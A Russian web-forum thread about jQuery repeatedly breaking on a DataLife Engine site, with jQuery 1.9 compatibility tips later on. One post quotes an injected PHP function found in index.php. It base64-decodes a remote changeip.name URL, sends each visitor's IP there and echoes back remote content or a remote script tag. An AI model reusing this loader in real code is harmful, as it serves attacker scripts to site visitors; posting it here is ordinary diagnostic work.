jQuery постоянно слетает
Вот чудеса. Есть сайт, возраст около 2-х лет, все работало отлично, стоял движ. DLE. Недавно слетел jQuery и перестали работать все скрипты, написанные на нем. Перезалил папку Engine, все заработало, но через пару дней опять. На кого грешить? Кто виноват?))
|
Если вы не знали, то скрипты могут изнашиваться. Со временем они могут поломаться, или перестать работать. В этом нет ничего странного, в мире нет ничего вечного. Если серьезно, то проверьте файлы (и не только js) на наличие вредоносного кода.
|
А какие файлы лучше проверять? Невозможно ведь весь движок перелопатить.
|
Ну для начала те, что ломаются. Смотрите на время последнего изменения файла. Стоит взглянуть на index.php и на .htaccess . Есть различные скрипты и программы для обнаружения вредоноса. Антивирусники вроде тоже че-та могут (не знаю, я живу без антивируса, нет, на винде :) )
|
Нашел кое-что в index.php
echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n";
GzipOut();
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
}
function collectnewss() {
if (!isset($_COOKIE["iJijkdaMnerys"])) {
$value = 'yadeor';
$ip = $_SERVER['REMOTE_ADDR'];
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
$content = @file_get_contents($get);
@setcookie("iJijkdaMnerys", $value, time()+3600*24);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
}
collectnewss ();
?>
Сначала думал, что ничего особенного, но потом открыл index.php в архиве со скриптом и там этот код выглядит совсем иначе. echo "\n<!-- DataLife Engine Copyright SoftNews Media Group (http://dle-news.ru) -->\r\n"; GzipOut(); ?> Как думаете, это то? |
Twide,
<script src="http://code.jquery.com/jquery-1.9.1.js"></script> <script type="text/javascript"> alert($.browser.msie ); </script> с версии 1.9 нет подержки некоторых функций например $.browser можно исправить поставив загрузку ниже версии либо jQuery Migrate plugin <script src="http://code.jquery.com/jquery-latest.js"></script> <script src="http://code.jquery.com/jquery-migrate-1.1.0.js"></script> <script> alert($.browser.msie ); </script> <script src="http://code.jquery.com/jquery-1.8.3.js" type="text/javascript"></script> <script type="text/javascript"> alert($.browser.msie ); </script> |
Спасибо, в моём случае не помогает даже подключение нужной библиотеки, 2 скрипта между собой конфликтуют..
|
Цитата:
|
Всё, разобрался, спасибо вам огромное! Проблема была не с кофнликтами, а с тем, что Chrome неправильно обрабатывал scrollTo, заменил на animate. Всё заработало!!
Осталась только проблема с соц. кнопками из моего прошлого топика) |
| Часовой пояс GMT +3, время: 15:52. |